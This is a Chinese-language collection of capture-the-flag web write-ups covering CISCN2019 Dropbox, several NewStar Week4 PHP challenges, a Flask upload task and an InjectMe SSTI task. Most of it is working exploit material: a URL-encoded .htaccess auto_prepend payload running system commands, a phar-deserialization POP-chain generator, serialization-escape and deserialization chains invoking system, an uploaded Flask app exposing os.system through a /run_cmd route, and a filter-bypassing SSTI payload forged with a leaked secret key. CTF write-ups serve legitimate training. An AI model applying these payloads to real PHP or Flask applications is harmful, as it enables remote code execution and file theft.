可以看到卡的很死,不过可以上传.htaccess,遂构造
1 2 3 4 5 6 ?filename=.htaccess&content=%70%68%70%5f%76%61%6c%75%65%20%61%75%74%6f%5f%70%72%65%70%65%6e%64%5f%66%69%5c%0a%6c%65%20%22%2e%68%74%61%63%63%65%73%73%22%0a%23%20%3c%3f%70%68%70%20%73%79%73%74%65%6d%28%22%63%61%74%20%2f%66%6c%61%5c%67%22%29%3b%3f%3e%5c # content内容urldecode为 php_value auto_prepend_fi\ le ".htaccess" # <?php system("cat /fla\g");?>\
[CISCN2019 华北赛区 Day1 Web1]Dropbox 常规的phar反序列化。首先注册登陆上传文件,找到任意文件下载,读取class.php源码 class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 <?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct() { global $db; $this->db = $db; } public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); } } ?>
整理思路,构造POP链,注意这里不能直接从User触发File的close,这样只能读取没法回显。于是考虑,访问不存在的方法close时,可以触发call方法,然后利用FileList类触发File类的close,然后再利用其__destrcut输出结果。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php class User { public $db; public function __construct() { $this->db = new FileList(); } } class FileList { private $files; private $results; private $funcs; public function __construct() { $file = new File(); $file->filename = "/flag.txt"; $this->files = array($file); $this->results = array(); $this->funcs = array(); } } class File { public $filename; } $o = new User(); @unlink("phar.jpg"); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); system("mv phar.phar phar.jpg");
需要注意,通过阅读源码得知download.php设置了base_dir,所以需要用delete.php触发。
[NewStar Week4] 逃 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file(__FILE__ ); function waf ($str ) { return str_replace("bad" ,"good" ,$str ); } class GetFlag { public $key ; public $cmd = "whoami" ; public function __construct ($key ) { $this ->key = $key ; } public function __destruct ( ) { system($this ->cmd); } } unserialize(waf(serialize(new GetFlag($_GET ['key' ]))));
有个替换,能逃逸字节,exp:key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"cat%20/flag";}//
[NewStar Week4] morefast 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 <?php highlight_file(__FILE__ ); class Start { public $errMsg ; public function __destruct ( ) { die ($this ->errMsg); } } class Pwn { public $obj ; public function __invoke ( ) { $this ->obj->evil(); } public function evil ( ) { phpinfo(); } } class Reverse { public $func ; public function __get ($var ) { ($this ->func)(); } } class Web { public $func ; public $var ; public function evil ( ) { if (!preg_match("/flag/i" , $this ->var)) { ($this ->func)($this ->var); } else { echo "Not Flag" ; } } } class Crypto { public $obj ; public function __toString ( ) { $wel = $this ->obj->good; return "NewStar" ; } } class Misc { public function evil ( ) { echo "good job but nothing" ; } } $a = unserialize($_POST ['fast' ]);throw new Exception ("Nope" );
简单php反序列化,绕过最后的throw,exp:fast=O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:9:"cat /fl??";}}}},2:{}}
flask disk upload一个app.py就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import osfrom flask import Flask, requestapp = Flask(__name__) @app.route('/' ) def hello (): return 'Hello, World!' @app.route('/run_cmd' ) def run_cmd (): cmd = request.args.get('cmd' , '' ) result = os.system(cmd) return f'Result: {result} ' if __name__ == '__main__' : app.run(port=5000 )
InjectMe 任意文件读取到app.py源码,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import osimport refrom flask import Flask, render_template, request, abort, send_file, session, render_template_stringfrom config import secret_keyapp = Flask(__name__) app.secret_key = secret_key @app.route('/' ) def hello_world (): return render_template('index.html' ) @app.route("/cancanneed" , methods=["GET" ] ) def cancanneed (): all_filename = os.listdir('./static/img/' ) filename = request.args.get('file' , '' ) if filename: return render_template('img.html' , filename=filename, all_filename=all_filename) else : return f"{str (os.listdir('./static/img/' ))} <br> <a href=\"/cancanneed?file=1.jpg\">/cancanneed?file=1.jpg</a>" @app.route("/download" , methods=["GET" ] ) def download (): filename = request.args.get('file' , '' ) if filename: filename = filename.replace('../' , '' ) filename = os.path.join('static/img/' , filename) print (filename) if (os.path.exists(filename)) and ("start" not in filename): return send_file(filename) else : abort(500 ) else : abort(404 ) @app.route('/backdoor' , methods=["GET" ] ) def backdoor (): try : print (session.get("user" )) if session.get("user" ) is None : session['user' ] = "guest" name = session.get("user" ) if re.findall( r'__|{{|class|base|init|mro|subclasses|builtins|globals|flag|os|system|popen|eval|:|\+|request|cat|tac|base64|nl|hex|\\u|\\x|\.' , name): abort(500 ) else : return render_template_string( '竟然给<h1>%s</h1>你找到了我的后门,你一定是网络安全大赛冠军吧!😝 <br> 那么 现在轮到你了!<br> 最后祝您玩得愉快!😁' % name) except Exception: abort(500 ) @app.errorhandler(404 ) def page_not_find (e ): return render_template('404.html' ), 404 @app.errorhandler(500 ) def internal_server_error (e ): return render_template('500.html' ), 500 if __name__ == '__main__' : app.run('0.0.0.0' , port=8080 )
再读一下config.py拿secretkey:y0u_n3ver_k0nw_s3cret_key_1s_newst4r
最后构造ssti,这里有坑,payload长度太长的时候,出现的cookie可能以.
开头,一开始以为这里有问题(base64乱码),实际不会。需要注意,由于需要伪造session,payload不能有空格,于是:{"user":"{%print(url_for['_''_glo''bals_''_']['o''s']['pop''en']('ca''t$IFS$9/y0U3_f14g_1s_h3re')['read']())%}"}